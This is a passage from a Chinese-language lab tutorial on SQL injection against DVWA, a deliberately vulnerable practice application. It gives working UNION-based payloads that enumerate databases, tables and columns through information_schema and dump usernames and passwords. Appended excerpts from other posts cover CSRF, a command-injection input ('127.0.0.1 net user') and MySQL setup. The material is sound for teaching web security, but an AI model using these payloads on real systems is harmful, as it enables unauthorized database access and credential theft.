當然,我們也可以使用注釋來注釋後面的單引號
sql中注釋 單行可以使用 #(忽略) --(忽略),多行使用//
我們試試1' #
下面我們來利用漏洞獲取資料庫資訊
大概步驟就是:
1.猜解所查詢的字段數目
2.獲取字段顯示位
3.通過顯示位獲取資料庫資訊
4.獲取資料庫中的表名
5.獲取表中的列名(字段)
6.匯出資料庫中的資料
7.驗證匯出資料的有效性
猜解所查詢的字段數
方式1: order by num
若num數值超過了字段數,則查詢會報錯,從而判斷出select語句所查詢欄位的數目
輸入:1' order by 2 #
報錯,說明資料表中只有兩個字段
方式二:union select 1,2,3...
若union select後的數字位(不一定是1/2/3,只要有數字佔位即可)與實際查詢的字段位不完全對應時,查詢就會報錯,直至調整到不報錯時的佔位個數,從而判斷實際查詢的字段數
輸入:union select 1,2 #
輸入:union select 1,2.3 #
獲取欄位的顯示位
既然顯示位顯示的是我們設定數值,那麼我們就通過顯示位獲取資料,輸出出來
通過顯示位獲取資料庫資訊
此處會用到mysql注入常用的一些函式,可參看此文==>sql注入常用的內建函式整理(以mysql為例)
獲取當前連線的資料庫名稱、dbms的版本(mysql的版本)
獲取當前連線資料庫的使用者
獲取伺服器的作業系統、資料庫的儲存目錄
獲取資料庫中所有資料庫名
在此之前,科普一下資料庫的知識
mysql的資料庫information_schema,他是系統資料庫,安裝完就有,記錄是當前資料庫的資料庫,表,列,使用者許可權等資訊
information_schema.schemata 記錄所有的資料庫名稱
information_schema.tables: 記錄表名資訊的表(也有資料庫名字段)
information_schema.columns: 記錄列名資訊的表(資料庫名、表名、欄位名)
1' union select 1,schema_name from information_schema.schemata # 可能是許可權問題,沒有全部爆出來
去資料庫執行是這樣的
我們發現資料庫dvwa正是我們想要的,因此,通過此資料庫,去爆表
獲取當前連線資料庫(dvwa)中的所有表
1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
where .. 後面表示的限制的條件,只查資料庫名是dvwa的表
獲取表中的列名(字段)
1' union select 1,column_name from information_schema.columns where table_name="users" #
這樣輸出有點亂,我們使用group_concat()將他們簡單的輸出出來
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
如果你覺得有點擠,看的不舒服的話,你可以
1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #
知道了資料庫的表名、欄位名就可以爆表了
爆表1' union select 1,concat(user,'--',password) from users #
還有其他更多的匯出操作,一些匯出函式的使用,可以自行嘗試
驗證匯出資料的有效性
ok!!
medium
只是閉合方式不同
其餘操作步驟與上差不多
high
想辦法閉合,其他就自然好起來了!
DVWA親測CSRF漏洞
csrf是一種跨站點請求偽造,即使用者在a站點登入後,處於同一客戶端的b站點利用漏洞獲得了a站點的cookie等身份驗證資訊,並偽造成合法身份請求a站點。1 low級別的csrf漏洞利用。將安全級別設定為low,並提交一次修改密碼,通過抓包得到相應的get請求報文。在另一台伺服器上構造乙個網頁,標籤...
2 DVWA親測命令執行漏洞
先看low級 提示讓我們輸入乙個ip位址來實現ping,猜測會是在系統終端中實現的,我們正常輸入127.0.0.那我們就可以利用這個使用其他cmd命令 我們輸入127.0.0.1 net user 我們順便看一下源 if isset post submit else feedback for the...
LINUX安裝Mysql 親測可用
1 檢視mysql版本 方法一 status 方法二 select version 2 mysql啟動 停止 重啟常用命令 a 啟動方式 1 使用 service 啟動 root localhost service mysqld start 5.0版本是mysqld root szxdb etc s...